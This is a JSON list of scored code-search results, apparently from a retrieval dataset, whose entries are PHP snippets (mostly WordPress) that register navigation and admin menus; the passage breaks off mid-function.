[ { "docid": "d6109d0bfd5bf32e6e601949163da19c", "score": "0.8152864", "text": "function navigations(){\r\n\tregister_nav_menus(\r\n\t \tarray(\r\n\t \t\t'menu-header' => 'Haut de page',\r\n\t \t\t'menu-footer' => 'Bas de page',\r\n\t \t)\r\n \t);\r\n}", "title": "" }, { "docid": "537fd5ba84f2f04aa1f92f87f0644c49", "score": "0.7998165", "text": "public function spm_register_nav_menus()\n {\n register_nav_menus(array(\n 'header' => 'Header',\n 'footer' => 'Footer',\n ));\n }", "title": "" }, { "docid": "224f48a17828da12f12b48761f5c93e2", "score": "0.7853723", "text": "function registerMenus() {\n\t\t\tregister_nav_menu( 'nav-1', __( 'Top Navigation', 'react' ) );\n\t\t}", "title": "" }, { "docid": "c091b813d673a9b459f41015af02f24f", "score": "0.7808494", "text": "function registrar_menu_navegacao(){\n register_nav_menu('header-menu', 'main-menu');\n}", "title": "" }, { "docid": "e1e00e62ca4f31cce26b8aa630a4d420", "score": "0.77169263", "text": "public static function registerMenu(){\n\t\tadd_menu_page( \"smsi\", \"Smsi Settings\", \"manage_options\", \"smsi\", array( \"SmsiFlag\", 'buildSettingsPage' ));\n\t\tadd_submenu_page( \"smsi\", \"Smsi Error log\", \"Smsi Error log\", \"manage_options\", \"smsi-error-log\", array( \"SmsiFlag\", 'buildErrorLogPage' ));\n\t\tadd_submenu_page( \"smsi\", \"Smsi Help / Contact / About\", \"Smsi Help / Contact / About\", \"manage_options\", \"smsi-help\", array( \"SmsiFlag\", 'buildContactPage' ));\n\t}", "title": "" }, { "docid": "e6af5d263abe0389f1edbdb5cca85c92", "score": "0.77109146", "text": "public static function navigation()\n {\n register_nav_menus([\n 'header' => 'Header',\n 'home' => 'Home Page',\n ]);\n }", "title": "" }, { "docid": "832a40b1630991bcb4c28aeca03d81e4", "score": "0.76687086", "text": "function setup_menus() {\n\t\techo '<br><b>'.__('Setup menus ...', 'themerex').'</b><br>'; flush();\n\t\t$locations = get_theme_mod( 'nav_menu_locations' );\n\t\t$menus = wp_get_nav_menus();\n\t\tif ($menus) {\n\t\t\tforeach ($menus as $menu) {\n\t\t\t\tforeach ($this->options['menus'] as $loc=>$name) {\n\t\t\t\t\tif ($menu->name == $name)\n\t\t\t\t\t\t$locations[$loc] = $menu->term_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\tset_theme_mod( 'nav_menu_locations', $locations );\n\t\t}\n\t}", "title": "" }, { "docid": "99d48b7deb12fe9ced555285b000268d", "score": "0.75746423", "text": "function setup_menus() {\n\t\techo '<script>'\n\t\t\t. 'document.getElementById(\"import_progress_status\").innerHTML = \"' . esc_html__('Setup menus ...', 'green') .'\";'\n\t\t\t. '</script>';\n\t\techo '<br><b>'.esc_html__('Setup menus ...', 'green').'</b><br>'; flush();\n\t\t$locations = get_theme_mod( 'nav_menu_locations' );\n\t\t$menus = wp_get_nav_menus();\n\t\tif ($menus) {\n\t\t\tforeach ($menus as $menu) {\n\t\t\t\tforeach ($this->options['menus'] as $loc=>$name) {\n\t\t\t\t\tif ($menu->name == $name)\n\t\t\t\t\t\t$locations[$loc] = $menu->term_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\tset_theme_mod( 'nav_menu_locations', $locations );\n\t\t}\n\t}", "title": "" }, { "docid": "98c28485412b8b293c4552d5550a4f44", "score": "0.7553837", "text": "public function registerNavMenus() {\n\t\tregister_nav_menus([\n\t\t\t'primary' => __('Primary Menu', '$$$THEME_SLUG$$$'),\n\t\t]);\n\t}", "title": "" }, { "docid": "934188e8b1640f1176a1b63c77a1b97a", "score": "0.753403", "text": "function lapizzeria_menus(){\n register_nav_menus(array(\n 'header-menu' => __('Header Menu','lapizzeria'),\n 'social-menu' => __('Social Menu', 'lapizzeria')\n ));\n }", "title": "" }, { "docid": "18a90788d7c541402e0e4e3465e91bce", "score": "0.7531551", "text": "function stal_register_navigation_menus() {\n\t\t$navigation_menus = apply_filters( 'stal_filter_register_navigation_menus', array( 'main-navigation' => esc_html__( 'Main Navigation', 'stal' ) ) );\n\t\t\n\t\tif ( ! empty( $navigation_menus ) ) {\n\t\t\tregister_nav_menus( $navigation_menus );\n\t\t}\n\t}", "title": "" }, { "docid": "7e7c90c912e29ea90d169b0f652a49a9", "score": "0.75195783", "text": "public function register_navigation_menus()\n {\n register_nav_menus(array(\n 'main' => __('Main Menu', 'dc-brochure-theme'),\n 'mobile' => __('Mobile Menu', 'dc-brochure-theme'),\n ));\n }", "title": "" }, { "docid": "7322dcee76714807c85224470c6fe89f", "score": "0.7510965", "text": "function pydp_register_nav_menus_hook() {\n register_nav_menus(\n array( \n 'header-left' => \"Header Menu Left\", \n 'header-center' => \"Header Menu Center\", \n 'header-right' => \"Header Menu Right\", \n 'footer-left' => \"Footer Menu Left\",\n 'footer-right' => \"Footer Menu Right\",\n )\n );\n}", "title": "" }, { "docid": "6333adffbeee171941b512d77ce5a4fa", "score": "0.7492533", "text": "function register_menus() {\n register_nav_menu('primary', 'Primary');\n register_nav_menu('top', 'Top');\n register_nav_menu('footer-primary', 'Footer - First');\n register_nav_menu('footer-secondary', 'Footer - Second');\n}", "title": "" }, { "docid": "5eba99901e406793487d37935e70a29b", "score": "0.74705255", "text": "private function setupMenu()\r\n\t{\r\n\t\t// load main menu links\r\n\t\t$this->CI->xu_api->menus->addMainMenuLink('home', 'Home', 'img/other/home2_16.png');\r\n\t\t\r\n\t\t// can user access URL Uploading?\r\n\t\tif($this->group_config->can_url_upload)\r\n\t\t{\r\n\t\t\t$this->CI->xu_api->menus->addMainMenuLink('upload/url', 'URL Upload', 'img/icons/connect_16.png');\r\n\t\t}\r\n\t\t\r\n\t\t// can user access search page?\r\n\t\tif($this->group_config->can_search)\r\n\t\t{\r\n\t\t\t$this->CI->xu_api->menus->addMainMenuLink('files/search', 'Search', 'img/icons/search_16.png');\r\n\t\t}\r\n\t\t\r\n\t\t// can user access the admin panel?\r\n\t\tif($this->group_config->admin)\r\n\t\t{\r\n\t\t\t$this->CI->xu_api->menus->addMainMenuLink('admin/home', 'Admin', 'img/other/admin_16.png');\r\n\t\t}\r\n\t\t\r\n\t\t// load either admin or user manu links\r\n\t\tif(substr($this->CI->uri->uri_string(), 0, 7) == '/admin/')\r\n\t\t{\n\t\t\t$id = $this->CI->xu_api->menus->addAdminMenu('Manage');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/files/view', 'Files', 'img/icons/hard_disk_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/transactions/view', 'Transactions', 'img/icons/transaction_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/user/view', 'Users', 'img/icons/user_16.png');\n\t\t\n\t\t\t$id = $this->CI->xu_api->menus->addAdminMenu('Configure');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/config', 'Site Config', 'img/icons/options_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/gateways/view', 'Payment Gateways', 'img/icons/credit_card_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/extend/view', 'Plugins', 'img/icons/component_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/skin/view', 'Skins', 'img/icons/colors_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/server/view', 'Servers', 'img/other/server_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/group/view', 'User Groups', 'img/icons/user_group_16.png');\n\t\t\t\n\t\t\t$id = $this->CI->xu_api->menus->addAdminMenu('Misc');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/menu_shortcuts/view', 'Admin Menu Shortcuts', 'img/icons/sticky_16.png');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/email/view', 'Mass Emailer', 'img/icons/mail_16.png');\n\t\t\t\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/stats/view', 'Site Stats', 'img/icons/chart_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/translator', 'Translation', 'img/icons/spelling_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($id, '/admin/actions/view', 'Tools/Maintenance', 'img/icons/tools_16.png');\n\t\t\t\n\t\t\t$this->CI->xu_api->menus->addPluginMenuLink('/admin/config/plugin', 'Plugin Config', 'img/icons/options_16.png');\n\t\t\t\n\t\t\t\n\t\t\t// Admin Menu Shortcuts Code\n\t\t\t$this->CI->load->model('admin/menu_shortcuts/admin_menu_shortcuts_db');\n\t\t\t\n\t\t\t$menu_id = $this->CI->xu_api->menus->addAdminMenu('Shortcuts');\n\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($menu_id, '/admin/menu_shortcuts/add/'.base64_encode($this->CI->uri->uri_string()), 'Add This Page', 'img/icons/add_16.png');\n\t\t\t\r\n\t\t\t$links = $this->CI->admin_menu_shortcuts_db->getShortcuts();\n\t\t\tforeach($links->result() as $link)\n\t\t\t{\n\t\t\t\t$this->CI->xu_api->menus->addAdminMenuLink($menu_id, $link->link, $link->title, 'img/icons/link_16.png');\n\t\t\t}\n\t\t\t\n\t\t\t$new_order = array();\n\t\t\t$i=1;\n\t\t\t$order = $this->CI->xu_api->menus->getAdminMenuOrder();\n\t\t\tforeach ($order as $place => $id)\n\t\t\t{\n\t\t\t\tif($id != $menu_id)\n\t\t\t\t{\n\t\t\t\t\t$new_order[$i] = $id;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$new_order[0] = $id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->CI->xu_api->menus->putAdminMenuOrder($new_order);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->CI->xu_api->menus->addSubMenuLink('Files', 'home', 'Upload', 'img/other/upload_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addSubMenuLink('Files', 'files/manage', 'Manage', 'img/other/manage-files_16.png', true);\r\n\t\t\t$this->CI->xu_api->menus->addSubMenuLink('Create-login', 'folder/create', 'File Folder', 'img/icons/folder_16.png');\r\n\t\t\t$this->CI->xu_api->menus->addSubMenuLink('Create-login', 'image/createGallery', 'Image Gallery', 'img/other/images_16.png');\r\n\t\t}\r\n\t\t\r\n\t\t// Enable embed code for MP3s\r\n\t\t$this->CI->xu_api->embed->addEmbedType('mp3', array('width' => '470', 'height' => '20', 'speed' => '50'));\r\n\t}", "title": "" }, { "docid": "fd60f05394fa78b0ccf298f9953a2b38", "score": "0.7450406", "text": "function add_menu(){\n register_nav_menus(array(\n 'Navbar' => 'Navigation Bar',\n 'Footer' => 'Footer Menu'\n ));\n }", "title": "" }, { "docid": "cee7782b3bcb317647f0e3a40a3068d8", "score": "0.7449615", "text": "function zoltan_menus(){\n\n $locations = array(\n 'primary' => \"Header primary menu\",\n 'footer' => \" Footer menu\"\n );\n\n register_nav_menus($locations);\n\n}", "title": "" }, { "docid": "4d0763c79efb323a6ef00eca52819ae3", "score": "0.7436026", "text": "function spine_register_menu_locations() {\n register_nav_menu('body-top',__( 'Body (Top)' ));\n register_nav_menu('body-bottom',__( 'Body (Bottom)' ));\n register_nav_menu('jacket-top',__( 'Jacket (Top)' ));\n register_nav_menu('jacket-bottom',__( 'Jacket (Bottom)' ));\n register_nav_menu('binder-top',__( 'Binder (Top)' ));\n register_nav_menu('binder-bottom',__( 'Binder (Bottom)' ));\n register_nav_menu('main-top',__( 'Main (Top)' ));\n register_nav_menu('main-bottom,',__( 'Main (Bottom)' ));\n register_nav_menu('side-top',__( 'Side (Top)' ));\n register_nav_menu('side-bottom',__( 'Side (Bottom)' ));\n}", "title": "" }, { "docid": "b77f4e38b258c087e8e1840ef3bc342e", "score": "0.74252295", "text": "function menus(){\n add_theme_support('menus');\n register_nav_menus($this->options['menus']);\n }", "title": "" }, { "docid": "272f00d0fef2440f19911bde1ab2b87e", "score": "0.7409702", "text": "public function menu() {\n\t \n\t\t\t// Pridaj menu na top urovni\n\t\t\tadd_menu_page( 'Reality GAKOS', 'Reality GAKOS', 'manage_options', 'menu', array( &$this, 'reality_main' ), REALITY_URL.'/img/reality_icon_16x16.png' );\n\t\t \n\t\t\t// Pridaj submenu\n\t\t add_submenu_page( 'menu', 'Nastavenia', 'Nastavenia', 'manage_options', 'options.php', array( &$this, 'reality_options' ) );\t\n\t\t\t\n\t }", "title": "" }, { "docid": "68d2419c75f6e2e986b8c0866acefd6c", "score": "0.7394459", "text": "public function actionRegisterNavMenus()\n {\n register_nav_menus(\n [\n static::PRIMARY_NAV_MENU_SLUG => esc_html__( 'Primary', 'sophia' ),\n ]\n );\n }", "title": "" }, { "docid": "d3d63a50a84e12515b4f4cbe3c5143a9", "score": "0.73940337", "text": "public function setmenuNav(){//set the menu items depending on the users selected page ID\n \n //empty string for menu items\n $this->menuNav='';\n \n \n \n \n if($this->loggedin){ //if user is logged in \n\n \n if ($this->user->getUserTypeID()==='ADMIN'){\n switch ($this->pageID) {\n case \"home\":\n \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=usermgmt\">User Management</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n case \"usermgmt\":\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break; \n case \"logout\": //DUMMY CASE - this case is not actually needed!!\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=register\">Register</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=login\">Login</a></li>';\n break;\n default:\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=usermgmt\">User Management</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n }//end switch\n }\n else{ //STUDENT menu items\n switch ($this->pageID) {\n case \"home\":\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n case \"documents\"://docs\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n case \"docupload\"://docs\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n case \"keyextract\"://docs\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n case \"maps\"://maps\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n case \"logout\": //DUMMY CASE - this case is not actually needed!!\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n break;\n default:\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=documents\">Documents</a></li>'; \n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=maps\">Maps</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=profile\">Profile</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=logout\">Log Out</a></li>';\n break;\n \n }//end switch\n }\n \n\n }\n else{ //user is NOT logged in\n \n switch ($this->pageID) {\n case \"home\":\n //$this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=register\">Register</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=login\">Login</a></li>';\n break;\n case \"register\":\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n //$this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=register\">Register</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=login\">Login</a></li>';\n break; \n case \"login\":\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=register\">Register</a></li>';\n //$this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=login\">Login</a></li>';\n break; \n default:\n //$this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=home\">Home</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=register\">Register</a></li>';\n $this->menuNav.='<li><a href=\"'.$_SERVER['PHP_SELF'].'?pageID=login\">Login</a></li>';\n break;\n }\n } \n }", "title": "" }, { "docid": "84a9f5014c1d643de05f34ec0d69b578", "score": "0.73785913", "text": "public function register_menu() {\n\t\tadd_menu_page(\n\t\t\t__( 'Transcode Queue', 'mpp-local-transcoder' ),\n\t\t\t__( 'Transcoder', 'mpp-local-transcoder' ),\n\t\t\t'manage_options',\n\t\t\t'mpplt-queue',\n\t\t\tarray( $this, 'render' ),\n\t\t\t'dashicons-flag',\n\t\t\t76\n\t\t);\n\n\t\tadd_submenu_page(\n\t\t\t'mpplt-queue',\n\t\t\t__( 'Queue', 'mpp-local-transcoder' ),\n\t\t\t__( 'Queue', 'mpp-local-transcoder' ),\n\t\t\t'manage_options',\n\t\t\t'mpplt-queue',\n\t\t\tarray( $this, 'render' )\n\t\t);\n\n\t\tadd_submenu_page(\n\t\t\t'mpplt-queue',\n\t\t\t__( 'History', 'mpp-local-transcoder' ),\n\t\t\t__( 'History', 'mpp-local-transcoder' ),\n\t\t\t'manage_options',\n\t\t\t'mpplt-log',\n\t\t\tarray( $this, 'render' )\n\t\t);\n\n\t\tadd_submenu_page(\n\t\t\t'mpplt-queue',\n\t\t\t__( 'Bulk Process', 'mpp-local-transcoder' ),\n\t\t\t__( 'Bulk Process', 'mpp-local-transcoder' ),\n\t\t\t'manage_options',\n\t\t\t'mpplt-bulk-process',\n\t\t\tarray( $this, 'render' )\n\t\t);\n\t}", "title": "" }, { "docid": "14d1e8f3e24abd7089fa763277af750d", "score": "0.73502123", "text": "function indepandent_menus(){\n\t$menu_locations = array(\n\t\t'primary' => 'Main Top menu'\n\t);\n\tregister_nav_menus($menu_locations);\n}", "title": "" }, { "docid": "3fb26620ed56839aad2d33ec3c48e204", "score": "0.73405796", "text": "public static function menu()\n {\n foreach ( self::$screens as $id => $s ) {\n if ( !isset( $s[ 'parent' ] ) || $s[ 'parent' ] == 'root' )\n add_menu_page( $s[ 'title' ], $s[ 'title' ], $s[ 'role' ], $id, array( 'Option', 'edit' ) );\n else\n add_submenu_page( $s[ 'parent' ], $s[ 'title' ], $s[ 'title' ], $s[ 'role' ], $id, array( 'Option', 'edit' ) );\n }\n }", "title": "" }, { "docid": "b9bca71175b4e2ad0630c80f4ad724e8", "score": "0.73400813", "text": "function initMenu()\n\t\t{\n\t\t\tif( !$this->checkCleioMenu() ){\n\t\t\t\tif( function_exists('add_object_page') ) add_object_page( \t__('Cleio', 'cleio'), __('Cleio', 'cleio'), 'administrator', 'cleio-base', array( &$this, 'contentAdminPage' ), 'dashicons-location', 6 );\n\t\t\t\telse add_menu_page( __('Cleio', 'cleio'), __('Cleio', 'cleio'), 'administrator', 'cleio-base', array( &$this, 'contentAdminPage' ), 'dashicons-location', 6 );\n\t\t\t\tadd_submenu_page( 'cleio-base', __('Cleio - Toolbox', 'cleio'), __('Cleio Toolbox', 'cleio'), 'administrator', 'cleio-base', array( &$this, 'contentAdminPage' ) );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tadd_submenu_page( 'cleio-base', __('Cleio - Toolbox', 'cleio'), __('Cleio Toolbox', 'cleio'), 'administrator', 'cleio-toolbox', array( &$this, 'contentAdminPage' ) );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "cd05fe41057f5340bd1ff26d8c0492f0", "score": "0.7330597", "text": "function cosmetro_register_menus() {\n\tregister_nav_menus( array(\n\t\t'top' => esc_html__( 'Top', 'cosmetro' ),\n\t\t'main' => esc_html__( 'Main', 'cosmetro' ),\n\t\t'footer' => esc_html__( 'Footer', 'cosmetro' ),\n\t\t'social' => esc_html__( 'Social', 'cosmetro' ),\n\t) );\n}", "title": "" }, { "docid": "a92c43d6d12905f6c4f99e6cc5587d79", "score": "0.7324671", "text": "public function registerMenu() {\r\n\t\t\tregister_nav_menus( array(\r\n\t\t\t\t'hamburger' => __( 'Hamburger Menu', GAMBIT_HAMBURGER_PLUGIN ),\r\n\t\t\t) );\r\n\t\t}", "title": "" }, { "docid": "78b3c495089062e9397d1e4fc624ed2a", "score": "0.73013943", "text": "private function get_menu() {\n\t\t$items = $this->main_menu();\n\n\t\t$this->load->library(\"multi_menu\");\n\t\t$this->multi_menu->set_items($items);\n\n\t\t$this->load->library(array('layout', 'multi_menu'));\n\n\t\t$config[\"nav_tag_open\"] = '<ul class=\"mainnav\">';\t\t\n\t\t$config[\"parent_tag_open\"] = '<li class=\"dropdown\">';\t\t\t\n\t\t$config[\"children_tag_open\"] = '<ul class=\"dropdown-menu\">';\n\t\t$this->multi_menu->initialize($config);\n }", "title": "" }, { "docid": "95ea463c3368b1cc6b3cbc03f12bea3e", "score": "0.7298159", "text": "function estore_reqister_menus(){\n\tregister_nav_menus(\n\t\tarray(\n\t\t\t'header-menu' => esc_html__( 'Primary', 'estore' ),\n\t\t\t\"footer-menu\" => esc_html__('Footer menu' , 'estore'),\n\t\t\t\"footer-menu-categories\"=> \"Footer Categories Menu\"\n\t\t)\n\t);\n\n\n}", "title": "" }, { "docid": "f8446f7a0e0f979e066c4a5475df259b", "score": "0.72974914", "text": "function register_ac_menu() \r\r\n{\r\r\n register_nav_menu( 'primary', 'Primary Menu' );\r\r\n}", "title": "" }, { "docid": "44a7fd097dc89a1849f714f503e839b8", "score": "0.7296947", "text": "public function register_menus() {\n\t\t$menu_map = array();\n\t\t$mini_blogs = $this->get_mini_blogs();\n\t\tforeach ($mini_blogs as $mini_blog) {\n\n\t\t\t$menu_name = sprintf(__('Mini-Blog: %s', 'cf_mini_blog'), $mini_blog->name);\n\n\t\t\t$menu_id = wp_create_nav_menu($menu_name);\n\t\t\tif (is_wp_error($menu_id)) {\n\t\t\t\t$menu = wp_get_nav_menu_object($menu_name);\n\t\t\t\t$menu_id = $menu->term_id;\n\t\t\t}\n\t\t\t$menu_map[$mini_blog->slug] = $menu_id;\n\t\t}\n\t\t$this->term_menu_map = $menu_map;\n\t}", "title": "" }, { "docid": "c834cac6c5542a2854f4c2dd2920ee0e", "score": "0.72941434", "text": "function mightily_register_nav_menu(){\n register_nav_menus( array(\n 'header-menu' => __( 'Header Menu', 'text_domain' ),\n 'action-menu' => __( 'Action Menu', 'text_domain' ),\n 'footer-menu' => __( 'Footer Menu', 'text_domain' ),\n ) );\n }", "title": "" }, { "docid": "779416c27196ce48fef60094cd9af552", "score": "0.72915345", "text": "function menu(){\n\t\t$CI =& get_instance();\n\t\t$welcome \t\t= ['name' => 'welcome', 'icon' => 'line-graph', 'path' => 'welcome', 'link' => 'welcome'];\n\t\t$master_data\t= [\n\t\t\t\t\t\t\t'name' => 'Master Data', 'icon' => 'symbol', 'path' => '',\n\t\t\t\t\t\t\t'link' => [\n\t\t\t\t\t\t\t\t['name' => 'User management', 'icon' => 'user-settings', 'path' => 'user', 'link' => 'user'],\n\t\t\t\t\t\t\t\t['name' => 'Hotel', 'icon' => 'home', 'path' => 'hotel', 'link' => 'hotel'],\n\t\t\t\t\t\t\t\t['name' => 'GL Account', 'icon' => 'user', 'path' => 'gl_account', 'link' => 'gl_account'],\n\t\t\t\t\t\t\t\t['name' => 'Cost Center Map', 'icon' => 'coins', 'path' => 'ccmap', 'link' => 'ccmap'],\n\t\t\t\t\t\t\t\t['name' => 'Station', 'icon' => 'map-location', 'path' => 'station', 'link' => 'station'],\n\t\t\t\t\t\t\t\t['name' => 'Room Mapping', 'icon' => 'home-2', 'path' => 'room_map', 'link' => 'room_map'],\n\t\t\t\t\t\t\t\t['name' => 'Branch Office', 'icon' => 'placeholder', 'path' => 'bo', 'link' => 'bo']\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t];\n\n\t\t$menu \t\t\t= [$welcome, $master_data];\n\n\t\treturn $menu;\n\t}", "title": "" }, { "docid": "da3566c4b71c74d6e0f73f1f0e1808b3", "score": "0.7288197", "text": "function theme_register_nav_menu() {\n\tregister_nav_menu( 'first-menu', 'Шапка сайта - меню' ); \n}", "title": "" }, { "docid": "e1aebde9b7077ff786d1f2e97014c028", "score": "0.7284466", "text": "function register_my_menu() {\n\tregister_nav_menu( 'primary', 'Menú Principal');\n\tregister_nav_menu( 'side-menu', 'Menú lateral');\n\tregister_nav_menu( 'top-menu', 'Menú Superior');\n\tregister_nav_menu( 'footer', 'Menú Footer');\n\tregister_nav_menu( 'mobile', 'Menú mobile');\n}", "title": "" }, { "docid": "096c51489f510af47054d6f991d2a168", "score": "0.72785527", "text": "function register_menus()\n{\n\tregister_nav_menus(\n\t\tarray(\n 'main-menu' => __('Main Menu'),\n 'main-menu-footer' => __('Main Menu Footer'),\n 'our-range-categories' => __('Our Range Categories'),\n )\n\t);\n}", "title": "" }, { "docid": "978723aaad61162e7c9dd594c131d899", "score": "0.7255759", "text": "function newstimes_register_nav_menu(){\n register_nav_menus( array(\n 'header_menu' => __( 'Header Menu', 'news-times' ),\n 'footer_menu' => __( 'Footer Menu', 'news-times' ),\n ) );\n }", "title": "" }, { "docid": "8fe930c835d5b8859c92d134824e6897", "score": "0.72453403", "text": "function createMenus() {\r\n foreach ($this->getFormattedMainMenu($this->getMyParam()) as $mainMenu) {\r\n $this->_tpl->assign_block_vars('mainmenu_row',$mainMenu);\r\n }\r\n foreach ($this->getFormattedSubmenu($this->getMyParam().\"_\".$this->getMyMode()) as $exportMenu) {\r\n $this->_tpl->assign_block_vars('submenu_row',$exportMenu);\r\n }\r\n\r\n }", "title": "" }, { "docid": "5dbde2e18562518729f81a22e8c8e337", "score": "0.72370243", "text": "function register_my_menu() {\n register_nav_menu('main-menu',__( 'Main Menu' ));\n}", "title": "" }, { "docid": "c5146595531ac1cda60b3afa7d7e9405", "score": "0.7234435", "text": "public function ts_add_menu() {\n add_theme_page(TS_OPTIONTITLE, TS_SUBMENUNAME, 'manage_options', TS_PAGENAME, array( $this, 'getFramework' ));\n //add_menu_page( TS_OPTIONTITLE, TS_MENUNAME, 'manage_options', TS_PAGENAME , array( $this, 'getFramework' ) );\n }", "title": "" }, { "docid": "0fa2318c6db027d6cdad2c5aa41a0952", "score": "0.7232754", "text": "function catalog_menu($menu_name, $current_page){\n\n\tif (($locations = get_nav_menu_locations()) && isset($locations[$menu_name])) {\n $menu = wp_get_nav_menu_object($locations[$menu_name]);\n\t\t$menu_items = wp_get_nav_menu_items($menu->term_id);\n $menu_items = buildTree($menu_items);\n ?>\n <ul class=\"navbar-nav flex-column\">\n <?php\n foreach( $menu_items as 